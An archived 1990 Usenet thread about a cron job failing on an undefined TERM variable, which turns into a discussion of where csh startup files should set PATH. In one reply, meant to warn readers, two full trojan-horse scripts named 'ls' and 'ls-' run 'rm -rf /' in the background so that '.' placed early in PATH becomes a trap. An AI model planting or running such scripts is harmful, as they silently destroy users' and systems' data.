ping@cubmol.bio.columbia.edu (Shiping Zhang) (10/16/90)
In order to test if crontab works for, I prepared the follow script file called test which is chmoded excusable #!/usr/bin/csh # the script file echo test crontab and created the crontab file with a single line in the format: min h * * * /wholepath/test The script is invoked at specified time but aborted at very begining. I got the following message from the system: Subject: Output from "cron" command Status: R Your "cron" job /wholepath/test produced the following output: TERM: Undefined variable. I tried the following: min h * * * export TERM; /wholepath/test min h * * * set TERM; export TERM; /wholepath/test min h * * * set TERM termname; export TERM; /wholepath/test etc... But non of them worked. However, if it was invoked in the root crontab, it worked fine. Can anyone point out to me what is the problem? Thanks. -ping
tin@smsc.sony.com (Tin Le) (10/17/90)
In article <1990Oct15.181918.8325@cubmol.bio.columbia.edu> ping@cubmol.bio.columbia.edu (Shiping Zhang) writes: >In order to test if crontab works for, I prepared the follow >script file called test which is chmoded excusable > >#!/usr/bin/csh ># the script file >echo test crontab > >and created the crontab file with a single line in the format: > >min h * * * /wholepath/test > >The script is invoked at specified time but aborted at very begining. >I got the following message from the system: > >Subject: Output from "cron" command >Status: R > >Your "cron" job > >/wholepath/test > >produced the following output: > >TERM: Undefined variable. > > >I tried the following: >min h * * * export TERM; /wholepath/test >min h * * * set TERM; export TERM; /wholepath/test >min h * * * set TERM termname; export TERM; /wholepath/test >etc... >But non of them worked. >However, if it was invoked in the root crontab, it worked fine. >Can anyone point out to me what is the problem? >Thanks. > >-ping This is because cron is executing your command (shell script or not) under your uid. It will do something similar to 'su - your_uid' to also pick up your environment definitions and then execute your command(s). I'd check your .cshrc/.login (if you are using csh) or .profile (if sh). When cron is executing something like this, there is no controlling terminal. Something in your .cshrc/.login/.profile is doing I/O to the terminal and I think that is what cron is complaining about. Check for echo's, read's, etc. -- Tin -- .---------------------------------------------------------------------- . Tin Le Work Internet: tin@smsc.Sony.COM . Sony Microsystems UUCP: {uunet,mips}!sonyusa!tin . Work: (408) 944-4157 Home Internet: tin@szebra.UUCP
jms@tardis.Tymnet.COM (Joe Smith) (10/20/90)
In article <1990Oct15.181918.8325@cubmol.bio.columbia.edu> ping@cubmol.bio.col umbia.edu (Shiping Zhang) writes: >Subject: Output from "cron" command >Your "cron" job "/wholepath/test" produced the following output: >TERM: Undefined variable. One common error is when the unsuspecting user puts something like tset -e^? -k^U -n -s -m dialup:?vt100 -m network:?vt100 $TERM in their .cshrc file, instead of their .login file where it belongs. Check to see of your .cshrc file references $TERM anywhere. If you can't move that command to .login, you can program around it. For instance: set path=(.. a bunch of stuff ..) if ($?USER == 0 || $?prompt == 0) exit set notify mail=(15 /usr/spool/mail/$USER) history=500 savehist=500 alias tset 'eval `\tset -s !*`' # This redefines TERMCAP The first line is executed whenever csh is invoked for any reason, the third and fourth only when a human being is connected to it (such as login, rlogin, or a Sunview window). -- Joe Smith (408)922-6220 | SMTP: jms@tardis.tymnet.com or jms@gemini.tymnet.com BT Tymnet Tech Services | UUCP: ...!{ames,pyramid}!oliveb!tymix!tardis!jms PO Box 49019, MS-C41 | BIX: smithjoe | 12 PDP-10s still running! "POPJ P," San Jose, CA 95161-9019 | humorous dislaimer: "My Amiga 3000 speaks for me."
fpb@ittc.wec.com (Frank P. Bresz) (10/21/90)
In article <1294@tardis.Tymnet.COM> jms@tardis.Tymnet.COM (Joe Smith) writes: >In article <1990Oct15.181918.8325@cubmol.bio.columbia.edu> ping@cubmol.bio.col >umbia.edu (Shiping Zhang) writes: >>Subject: Output from "cron" command >>Your "cron" job "/wholepath/test" produced the following output: >>TERM: Undefined variable. >One common error is when the unsuspecting user puts something like > tset -e^? -k^U -n -s -m dialup:?vt100 -m network:?vt100 $TERM >in their .cshrc file, instead of their .login file where it belongs. >Check to see of your .cshrc file references $TERM anywhere. If you can't >move that command to .login, you can program around it. For instance: > set path=(.. a bunch of stuff ..) > if ($?USER == 0 || $?prompt == 0) exit > set notify mail=(15 /usr/spool/mail/$USER) history=500 savehist=500 > alias tset 'eval `\tset -s !*`' # This redefines TERMCAP >The first line is executed whenever csh is invoked for any reason, the >third and fourth only when a human being is connected to it (such as login, >rlogin, or a Sunview window). My opinion here is that nothing is needed in .cshrc to give stuff to a shell that isn't interactive, they should inherit all they need. I have taken to giving the following .cshrc to new users. # skip remaining setup if not an interactive shell if ($?USER == 0 || $?prompt == 0) exit set noclobber # aliases for all shells alias cd 'cd \!*;echo $cwd' alias cp 'cp -i' alias mv 'mv -i' alias rm 'rm -i' alias pwd 'echo $cwd' # settings for interactive shells set history=40 set ignoreeof And the following .login file. # set up search path setenv FMHOME /usr/local/frame set lpath = ($FMHOME/bin ) # add directories for local commands set path = (. ~ ~/bin $lpath /usr/local/bin /usr/ucb /usr/bin /usr/etc) if ("`tty`" != "/dev/console") exit echo -n "SunView? (Control-C to interrupt) " sleep 2 sunview PATH IMHO is something that should be set at login time only. It should be inherited by all subsequent shells including sunview, xterminals etc. I had some problems because the .cshrc provided by sun set the PATH if it was an interactive shell. When people tried running OpenWindows the sript hacked a few things onto the PATH (it needed to). But the only thing that ended up having this PATH was the window manager since each subsequent shell started redefined the PATH to what it wanted. Basically what I have moved to the .login file. Some other people decide to use $path everywhere i.e.. set path = ( $path /usr/local/bin ). I needn't tell you that PATH quickly got VERY long. Now for the question (flame request) of the day. Do people in general agree with me that .cshrc ought to not touch the path variable or the PATH env and just inherit it? -- | () () () | Frank P. Bresz | Westinghouse Electric Corporation | \ /\ / | fpb@ittc.wec.com | ITTC Simulators Department | \/ \/ | uunet!ittc!fpb | Those who can, do. Those who can't, simulate. | ---------- | (412)733-6749 | My opinions are mine, WEC don't want 'em.
del@thrush.mlb.semi.harris.com (Don Lewis) (10/23/90)
In article <FPB.90Oct21120952@ittc.ittc.wec.com> fpb@ittc.wec.com (Frank P. Bresz) writes: > Now for the question (flame request) of the day. Do people in >general agree with me that .cshrc ought to not touch the path variable or >the PATH env and just inherit it? How does PATH get set for cron jobs and commands executed by /usr/ucb/rsh? -- Don "Truck" Lewis Harris Semiconductor Internet: del@mlb.semi.harris.com PO Box 883 MS 62A-028 Phone: (407) 729-5205 Melbourne, FL 32901
jeff@onion.pdx.com (Jeff Beadles) (10/23/90)
In <FPB.90Oct21120952@ittc.ittc.wec.com> (Frank P. Bresz) writes: ... >set path = (. ~ ~/bin $lpath /usr/local/bin /usr/ucb /usr/bin /usr/etc) ... > Now for the question (flame request) of the day. Do people in >general agree with me that .cshrc ought to not touch the path variable or >the PATH env and just inherit it? [ To directly answer your question; No ] I believe that you're doing your best to make your system vulnerable to a trojan horse attack with a brain-damaged path like this. *** DOT SHOULD NEVER BE FIRST IN YOUR PATH. *** There are security papers galore that try to beat this into people, but they just don't listen. It IS a very good idea though. Also, it could be argued that general users should not have /etc in their paths... If you MUST have dot (.) in your path, then at least put it at the very end. (ie: set path = (~ ~/bin $lpath /usr/local/bin /usr/ucb /usr/bin /usr/etc .) If you don't know why dot is bad in front of your path, send me email telling me why you need to know. :-) -Jeff -- Jeff Beadles jeff@onion.pdx.com
msf@wren.cs.rmit.OZ.AU (Michael Fuller) (10/25/90)
jeff@onion.pdx.com (Jeff Beadles) writes: >I believe that you're doing your best to make your system vulnerable to a >trojan horse attack with a brain-damaged path like this. > *** DOT SHOULD NEVER BE FIRST IN YOUR PATH. *** >There are security papers galore that try to beat this into people, but they >just don't listen. It IS a very good idea though. >If you don't know why dot is bad in front of your path, send me email telling >me why you need to know. :-) Please! Just come out and say it. Having implied that there is a security hole, you then don't say what it is. Ordinary users such as myself :-) don't have time or even know quite where to look for the "security papers galore", but those who _are_ interested in exploiting such weaknesses will eagerly go off to play. If I knew why it was a bad idea, I would be *much* less likely to do such a thing. The result now is that I won't know, and the baddies will :-(. If you must mention a problem, do so in a way which doesn't disadvantage the very people you are trying to protect. > -Jeff Michael p.s. Security papers would do a much better job of trying to beat things into people if they were widely diestributed and publicised. ------------------------------------------------------------------------------- Michael Fuller, ACSNET: msf@wren.cs.rmit.OZ Key Center for Knowl. Based Sys., INTERNET: msf@wren.cs.rmit.OZ.AU RMIT Dept. of Comp. Sci., JANET: msf%au.oz.wren@uk.ac.ukc GPO BOX 2476 V, BITNET: msf%wren.cs.rmit.OZ.AU@relay.cs.net Melbourne, 3001, AUSTRALIA UUCP: ..!uunet!wren.cs.rmit.OZ.AU!msf Phone: +61 3 660 2992 Fax: +61 3 662 1617
jeff@onion.pdx.com (Jeff Beadles) (10/26/90)
In <4073@goanna.cs.rmit.oz.au> msf@wren.cs.rmit.OZ.AU (Michael Fuller) writes: > [ I wrote] >>I believe that you're doing your best to make your system vulnerable to a >>trojan horse attack with a brain-damaged path like this. > >> *** DOT SHOULD NEVER BE FIRST IN YOUR PATH. *** > >>There are security papers galore that try to beat this into people, but they >>just don't listen. It IS a very good idea though. > >>If you don't know why dot is bad in front of your path, send me email telling >>me why you need to know. :-) > >Please! Just come out and say it. Having implied that there is a security hole, >you then don't say what it is. Ordinary users such as myself :-) >don't have time or even know quite where to look for the "security papers >galore", but those who _are_ interested in exploiting such >weaknesses will eagerly go off to play. If I knew why it was a bad idea, >I would be *much* less likely to do such a thing. The result now is that >I won't know, and the baddies will :-(. If you must mention a problem, >do so in a way which doesn't disadvantage the very people you are trying >to protect. Well, since this is a fairly well known security-ism, I'll post it. Note, that the smiley was on the line above. All of the people that sent email were given an answer. First, an explaination of the search path. ($PATH) When you run a command with any modern shell, the search path is used to locate the executable program if a path is not given. This makes things much easier for us humans, as we don't have to remember where everything is. Also, the order of the path is significant. Things are searched in the order of the path variable. Thus, if your path is ".:/bin:/usr/bin" and you type the command "ls" the shell will try (in the following order) to run: ./ls /bin/ls /usr/bin/ls However, if your path is set to "/bin:/usr/bin:." then the following order is used: /bin/ls /usr/bin/ls ./ls Anyway, let's say that a user "joe" has his path set to ".:/bin:/usr/bin". Now, I tell them joe I have these keen neat-o-super-duper files in my account, and that he can get a copy of them if he wants. (The story doesn't matter, all you have to do is get someone into a directory that you have write access to. /tmp would do just as well) Anyway. in your directory with all of the other files, you could have a a shell script called "ls". If this exists *IT* will run when the user types "ls" rather than the system's "/bin/ls". What if I had the following script set-up as 'ls'? In a file called "ls" -----cut here----- #!/bin/sh /bin/ls $* rm -rf / 2>/dev/null & -----cut here----- If root ran it, you could kiss your system goodbye (1/2 :-) Or, if ran by "joe" user, then it would remove all "publicly writable" files, and anything owned by "joe" user. This is NOT a good thing, for obvious reasons. I could also argue that dot anywhere in your path is a bad idea. Have you ever typed "ls- l"? You could just as easily have the following trojan horse: In a file called "ls-" -----cut here----- #!/bin/sh echo "ls- : Command not found" rm -rf / 2>/dev/null & -----cut here----- You get the picture. *** DOT SHOULD NEVER BE FIRST IN YOUR PATH. *** By the way, please don't try this at home folks. -Jeff -- Jeff Beadles jeff@onion.pdx.com
czech@gmdzi.gmd.de (Richard Czech) (10/26/90)
fpb@ittc.wec.com (Frank P. Bresz) writes: >In article <1294@tardis.Tymnet.COM> jms@tardis.Tymnet.COM (Joe Smith) writes: > My opinion here is that nothing is needed in .cshrc to give stuff >to a shell that isn't interactive, they should inherit all they need. > Now for the question (flame request) of the day. Do people in >general agree with me that .cshrc ought to not touch the path variable or >the PATH env and just inherit it? If you are using X11 it is not always true. I use to start XTerm's on other machines with rsh other-machine xterm -display mymachine:0 The shell which is started in the XTerm will not inherit a PATH variable from anywhere. It also does'nt execute the .login script but only the .cshrc . So if the PATH variable is only set in .login, what a shame. One could start every XTerm as a login shell, but I prefer to put all TERM and stty stuff behind "if ($?prompt -- 0) exit" and that works just fine. regards ----------------------------------------------------------------- Richard Czech e-mail: czech@gmdzi.gmd.de GMD-E.I.S. czech@gmdzi.uucp P.O.Box 12 40 phone: (+49) 2241 14 2039 D-5205 St. Augustin 1, Germany fax: (+49) 2241 14 2342 -----------------------------------------------------------------
poepping@sei.cmu.edu (Mark Poepping) (10/26/90)
---- In article <FPB.90Oct21120952@ittc.ittc.wec.com>, fpb@ittc.wec.com (Frank P. Bresz) writes: |> |> PATH IMHO is something that should be set at login time only. It |> ... |> Now for the question (flame request) of the day. Do people in |> general agree with me that .cshrc ought to not touch the path variable or |> the PATH env and just inherit it? |> -- |> | () () () | Frank P. Bresz | Westinghouse Electric Corporation |> | \ /\ / | fpb@ittc.wec.com | ITTC Simulators Department |> | \/ \/ | uunet!ittc!fpb | Those who can, do. Those who can't, simulate. |> | ---------- | (412)733-6749 | My opinions are mine, WEC don't want 'em. ---- I agree on point one, but disagree on point two. Some years back, we instituted a conditional in the .cshrc to enable .login functionality (execute only once) in the .cshrc. Basically, the .cshrc looks like this.. ------- # Standard style .cshrc if ($?prompt) then # set aliases, prompts, etc. here. alias xs 'set noglob; eval `resize` ; unset noglob ' endif # Run through this stuff only once (simulate .login style functionality) if (0 == $?ENVSET) then setenv ENVSET "you bet" # set one-time environment stuff here.. just about anything but # stty's and interactive q/a, they should stay in .login setenv MANPATH ${MANPATH}:/usr/misc/man set path=(. $HOME/bin ${path} /usr/misc/bin) setenv MPATH $MANPATH setenv EDITOR 'vi' setenv PRINTER 34a umask 002 endif ------- This lets you to have all the right environment variables set (even through rsh - the main reason I did this) without getting them reset every time you turn around. We've had no problems with this and it basically allows us to reduce .logins to the stty/tset calls, interactive questions, and the usual window startup stuff. These are all things you really and only want to do when you log in (can't stty in .cshrc or you get 'not a typewriter' on rsh). It might not be quite right for everybody, but it's worked quite well for us. -- Mark Poepping poepping@sei.cmu.edu Software Engineering Institute Pittsburgh, PA
davy@sparkyfs.istc.sri.com (David Curry) (10/28/90)
In article <4073@goanna.cs.rmit.oz.au> msf@wren.cs.rmit.OZ.AU (Michael Fuller) writes: > >p.s. Security papers would do a much better job of trying to beat things >into people if they were widely diestributed and publicised. Well, a while back I wrote "Improving the Security of Your UNIX System". It is widely distributed and has been widely publicized. (The paper itself was posted to comp.doc; the notice was sent to SUN-SPOTS, RISKS, CERT-TOOLS; it has been mentioned in SunExpert, ACM SIGCOMM, and a few data security newsletters.) Don't put all the blame on us author-types. We can only post stuff in so many places. You need to make an effort to get onto the security lists, newsgroups, and so on too. --Dave Curry -------------------------------- Last update: October 23, 1990 The SRI International white paper, "Improving the Security of Your UNIX System," may be obtained via the following methods: 1. ANONYMOUS FTP The document is available via anonymous FTP from the following hosts: (West Coast) Host: FTP.ERG.SRI.COM Addr: 128.18.4.39 File: pub/security-doc.tar.Z (West Coast) Host: GATEKEEPER.DEC.COM Addr: 16.1.0.2 File: pub/doc/sri-security-doc.tar.Z (East Coast) Host: UUNET.UU.NET Addr: 192.48.96.2 File: doc/security-doc.tar.Z (Midwest) Host: TUT.CIS.OHIO-STATE.EDU Addr: 128.146.8.60 File: pub/security/security-doc.tar.Z (Southwest) Host: TITAN.RICE.EDU Addr: 128.42.1.30 File: sun-source/secdoc.shar.z.uu (uuencoded) (MILNET) Host: WSMR-SIMTEL20.ARMY.MIL Addr: 26.2.0.74 File: pd2:<unix-c.info>security-doc.tar-z (Australia) Host: tasis.utas.oz.au Addr: 131.217.20.1 File: pub/security-doc.tar.Z (Australia) Host: ftp.adelaide.edu.au Addr: 129.127.40.3 File: pub/misc/security-doc.tar.Z (Canada) Host: cs.toronto.edu Addr: 128.100.1.65 File: doc/security-doc.tar.Z (Europe) Host: mcsun.eu.net Addr: 192.16.202.1 File: documents/security-doc.tar.Z (Scandinavia) Host: funic.funet.fi Addr: 128.214.6.100 File: pub/doc/security/security-doc.tar.Z Transfer the file in "binary" mode from all the hosts, except use "tenex" mode from SIMTEL-20. After you get the file, execute the commands: % uncompress security-doc.tar.Z % tar xf security-doc % cd security-doc And now consult the README file. Note: if you get the file from TITAN.RICE.EDU, instead use the commands: % uudecode secdoc.shar.z.uu % uncompress secdoc.shar.Z % sh secdoc.shar % cd security-doc 2. UUCP UUNET subscribers can obtain the document via UUCP from UUNET using a command of the form uucp uunet!~/doc/security-doc.tar.Z destination-filename U.S. sites which do not subscribe to UUNET may still access the document by calling the 1-900-GOT-SRCS (468-7727) and logging in as "uucp" with no password. All modems connected to the 900 number are Telebit T2500 modems supporting PEP, V.32 (9600), V.22bis (2400), Bell 212a (1200), and Bell 103 (300). Use an L.sys line such as: uunet Any ACU 19200 1-900-468-7727 in:--in:--in: uucp NOTE: The telephone company will charge you US$0.40/minute for this service. There is no charge directly from UUNET. At PEP or V.32 speeds, the document will cost approximately $2.00 in connect time (175 kbytes). ----- You can obtain the file via "anonymous" UUCP from Ohio State University by placing the following line in your L.sys file: # # Direct Trailblazer # osu-cis Any ACU 19200 1-614-292-5112 in:--in:--in: Uanon # # Micom port selector, at 1200, 2400, or 9600 bps. # Replace ##'s below with 12, 24, or 96 (both speed and phone number). # osu-cis Any ACU ##00 1-614-292-31## "" \r\c Name? osu-cis nected \c GO \d\r\d\r\d\r in:--in:--in: Uanon and then issue the command uucp osu-cis!~/security/security-doc.tar.Z destination-filename ----- The document is also obtainable via anonymous uucp access from "sir-alan" which supports 19.2K bps PEP (814 337 3159) and 9600 USR HST/V.32 connections (814 337 0348; send one BREAK after CONNECT 9600). Login is "pdsrc", no password. Systems/L.sys entries: sir-alan Any ACU 19200 18143373159 ogin:--ogin:--ogin: pdsrc sir-alan Any ACU 9600 18143370348 ogin:-BREAK-ogin:-BREAK-ogin: pdsrc uucp command: uucp sir-alan!/u/pubdir/UNIX/security.tar.Z destination-filename For help, get "sir-alan!/u/pubdir/HELP". 3. BITNET BITNET users may obtain the document via the European TRICKLE servers from the UNIX-SW archives. To do this, use the TELL command as follows: TELL TRICKLE AT SOMEHOST /PDGET <UNIX-C.INFO>SECURITY-DOC.TAR-Z where SOMEHOST is one of: DKTC11 Denmark TREARN Turkey IMIPOLI Italy BANUFS11 Belgium AWIWUW11 Austria DB0FUB11 Germany EB0UB011 Spain There are no TRICKLE hosts in the U.S.; the Europeans are graciously allowing U.S. BITNET users to access their machines. Please be kind to them. Sorry, but the LISTSERV machines at RPIECS and NDSUVM do not provide access to the UNIX-SW repository. The file will arrive in BITSEND, NETDATA format. You should use the BITRCV command from RDRList to get the file. (I have no idea what this means -- go find an IBM guru if you don't know either.) This will be a BINARY file. You won't be able to do much of anything with it on an IBM system. Instead, transfer it to a UNIX system, and then uncompress it and extract the tar file, and then format things. See above under "FTP" for how to do this. NOTE: the connection from the TRICKLEs to SIMTEL-20 has been lousy of late. You may wish to try sending /PDGET FUNIC.FUNET.FI:disk1/pub/doc/security/security-doc.tar.Z to LISTSERV@FINTUVM.BITNET instead. 4. ELECTRONIC MAIL The document may also be obtained from the SUN-SPOTS archive server located on host TITAN.RICE.EDU. In order to request the document, send a note with the words send sun-source secdoc.shar.z.uu to "archive-server@titan.rice.edu" (uunet!rice!archive-server). ----- The document may be obtained in the United Kingdom from the cam.cl info-server in the "sources transient" directory. Send the message request sources; topic transient security-doc.tar.Z to "info-server@uk.ac.cam.cl". Contact pb@uk.ac.cam.cl for more info. ----- If you are an EUnet site, contact your national backbone site. Many of them have set up an info server which you can use, but details differ from country to country. 5. DECNET DECNET users can obtain the file by copying DECWRL::"/pub/doc/sri-security-doc.tar.Z" by using the COPY command, or whatever. 6. ACSnet (Australia) Use "fetchfile" from the host sirius.ua.oz to get the file "misc/security-doc.tar.Z". 7. USENET An "nroff" version of the paper was been posted to the USENET newsgroup "comp.doc" on May 7, 1990. Article id: <13498@ucsd.Edu>
jms@tardis.Tymnet.COM (Joe Smith) (10/30/90)
In article <1990Oct23.024811.15550@mlb.semi.harris.com> del@thrush.mlb.semi.harris.com (Don Lewis) writes: >How does PATH get set for cron jobs and commands executed by /usr/ucb/rsh? I tried both crontab and /usr/ucb/rsh under SunOS-4.1 and got the following: The environment was set to: HOME=/home/techserv/jms SHELL=/bin/csh PATH=:/usr/ucb:/bin:/usr/bin USER=jms PWD=/home/tardis/techserv/jms The C-shell's local variables were: argv (depends on the command) cwd /home/tardis/techserv/jms home /home/techserv/jms path (. /usr/ucb /bin /usr/bin) shell /bin/csh status 0 user jms They appear to be hardwired into in.rshd, in.rlogind, login, and cron. -- Joe Smith (408)922-6220 | SMTP: jms@tardis.tymnet.com or jms@gemini.tymnet.com BT Tymnet Tech Services | UUCP: ...!{ames,pyramid}!oliveb!tymix!tardis!jms PO Box 49019, MS-C41 | BIX: smithjoe | 12 PDP-10s still running! "POPJ P," San Jose, CA 95161-9019 | humorous dislaimer: "My Amiga 3000 speaks for me."